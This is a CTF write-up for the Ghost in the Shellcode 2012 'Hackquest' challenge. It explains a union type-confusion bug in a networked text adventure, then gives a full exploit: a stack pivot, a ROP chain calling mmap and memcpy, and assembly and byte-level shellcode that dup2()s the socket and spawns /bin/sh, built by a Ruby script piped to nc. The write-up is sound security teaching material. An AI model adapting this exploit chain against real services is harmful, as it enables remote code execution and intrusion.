Last modified on 8 January 2012, at 16:36

CTF/gits2012teaser/3-Hackquest

#3 Hackquest

Question

Find the key. (File running at hackquest.ghostintheshellcode.com:7331)
Hint: Binary file
Hint: Partial source code

Solution

  • Remote system running some sort of text adventure.
  • Hint dropped source code partially (extremely helpful)
  • Hint from irc: look at the items
  • struct ItemInfo contains a union:
union
{
        void* data;
        LocationInfo* newLocation;
        struct ItemInfo* newItem;
        struct
        {
                ActionInfo* actionInfo;
                char* requiredTarget;
        } action;
        struct
        {
                char* name;
                struct ItemInfo* newItem;
        } namedUnwrap;
} info;
  • magical item:
{"a", "letter addressed to %s", "...", NULL, ITEM_NAMED_UNWRAP, {.namedUnwrap = {name, &passwordItem}}}, {NULL, NULL, NULL, NULL, 0, {NULL}}
  • use() has an insufficient test:
if ((item->type == ITEM_PERFORM_ACTION) || (item->type == ITEM_MOVE_TO_LOCATION) ||
    (item->type == ITEM_UNWRAP))
{
        sendMsg(s, "That item can't have a target.\n");
        ok = false;
}
else if (!strcasecmp(item->info.action.requiredTarget, target))
{
        sendMsg(s, item->message);
        item->info.action.actionInfo->func(s);
        showDesc = item->info.action.actionInfo->showDesc;
}
  • if we "use letter on $target", we can make it call ->func()
  • .requiredTarget aliases with .newItem, which in turn contains a set of pointers, all static -> $target is known
  • ->func aliases with .name
  • the game asks us for our name, and stores this into a 31 byte static buffer
  • whatever we use as name will be used as function address to be called -> we captured control flow
  • ROP ensues:
  • first gadged: pivot stack pointer to area we control (the 256 byte cmd buffer in handleConnection)
  • then mmap an anonymous page RWX to a fixed location -> memory we can write to and run code from, we choose the offset
  • our data is on the stack, which is likely on a random offset -> need to move data from stack buffer to page
  • work around this problem by putting bootstrap shellcode into the static name buffer (see above)
  • bootstrap code copies stack-relative buffer to our page, then transfers control:
	leal	0x41(%esp),%esi	# calc source from stack offset
	popl	%edi		# dest addr is already on stack
	pushl	$0x41		# dest offset so that we don't get overwritten
	popl	%ecx		# duplicates as length
	addl	%ecx,%edi	# add offset
	push	%edi		# store dest for later
	rep	movsl		# copy
	popl	%edi		# retrieve old dest
	jmp	*%edi		# jump there
  • remaining shell code takes socket fd from fixed stack offset and dup2()s to 0, 1, 2, then spawns /bin/sh:
	pushl	%ecx		# ecx was cleared by rep above, put 0 on stack
	movl	0xAB(%esp),%ebx	# get socket fd from stack offset
1:	
	pushl	$0x3f		# dup2 syscall number
	popl	%eax		# into eax
	int	$0x80		# do syscall
	inc	%ecx		# inc desc2
	cmp	$0x3,%cl	# do for 0, 1, 2
	jne	1b		# repeat
 
	popl	%ecx		# zero ecx = argv
	mull	%ecx		# zero eax, edx = env
        pushl	$0x0068732f	# /sh\0
        pushl   $0x6e69622f	# /bin
	movl	%esp,%ebx	# string arg
	movb	$0xb,%al	# execve syscall number
	int	$0x80		# magic!
  • cat key.txt
  • all combined, use as (ruby h.rb; cat) | nc host 7331
addr = 0x60606000               # our page address
src = 0x804c2a0                 # from 0x80498f4
 
sockoffset = 0xbc
 
p = [
     # offset 0
     "use letter on ",
     # offset 14
     0x804a22e, 0x804a2bc, 0x804a2de, 0x804c20c, [0x02, 0x00],
     # offset 31
     " " * (0x44 - 32),           # fill
     # offset 0x44
     0x80486d4,          # C mmap
     0x8048db5,          # L add $0x1c,%esp | ret
     addr,               # (void *addr,
     4096,               #  size_t len,
     1 | 2 | 4,          #  int prot = PROT_READ | PROT_WRITE | PROT_EXEC,
     0x10 | 0x02 | 0x20, #  int flags = MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS,
     0,                  #  int filedes,
     0,                  #  off_t off)
     0,                  # filler, also possibly offset
     0x80487d4,          # C memcpy
     addr,               # L addr = shellcode
     addr,               # (void *dest,
     src + 4,            #  const void *src,
     200,                #  size_t n).
 
     [
      0x51,                         # pushl  %ecx    # ecx was cleared by rep above, put 0 on stack
      0x8b, 0x9c, 0x24], sockoffset, # movl  XXX(%esp),%ebx   # get socket fd from stack offset
     [0x6a, 0x3f,                   # 1: pushl $0x3f # dup2 syscall number
      0x58,                         # popl  %eax     # into eax
      0xcd, 0x80,                   # int   $0x80    # do syscall
      0x41,                         # inc   %ecx     # inc desc2
      0x80, 0xf9, 0x03,             # cmp   $0x3,%cl # do for 0, 1, 2
      0x75, 0xf5,                   # jne   1b       # repeat
 
      0x59,       # popl  %ecx  # zero ecx = argv
      0xf7, 0xe1, # mull  %ecx  # zero eax, edx = env
      0x68, 0x2f, 0x73, 0x68, 0x00, # pushl  0x0068732f  # /sh\0
      0x68, 0x2f, 0x62, 0x69, 0x6e, # pushl  0x6e69622f  # /bin
      0x89, 0xe3, # movl  %esp,%ebx  # string arg
      0xb0, 0x0b, # movb  $0xb,%al   # execve syscall number
      0xcd, 0x80  # int	$0x80        # magic!
     ]
    ]
 
shellcode = 0xc
 
# this lives at src
namelen = 20
name = [
        # stack pivot
        0x08049019,              # add $0x9c,%esp | ret
 
        # bootstrap shellcode
        [
         0x8d, 0x74, 0x24, shellcode, # leal XXX(%esp),%esi
         0x5f,                    # popl  %edi
         0x6a, namelen,           # pushl $XXX
         0x59,                    # popl  %ecx
         0x01, 0xcf,              # addl  %ecx,%edi
         0x57,                    # push  %edi
         0xf3, 0xa5,              # rep movsl
         0x5f,                    # popl  %edi
         0xff, 0xe7,              # jmp   *%edi
        ],
       ]
 
all = name +
  [
   "\n",
   "get can\n",
   "use can\n",
   "go south\n",
   "get letter\n",
  ] +
  p + ["\n"]
 
def collapse(a)
  a.map do |e|
    case e
    when Numeric
      [e].pack("V")
    when Array
      e.pack('C*')
    else
      e.to_s
    end
  end.join
end
 
if __FILE__ == $0
  cp = collapse(all)
  # puts cp.size
  print cp
end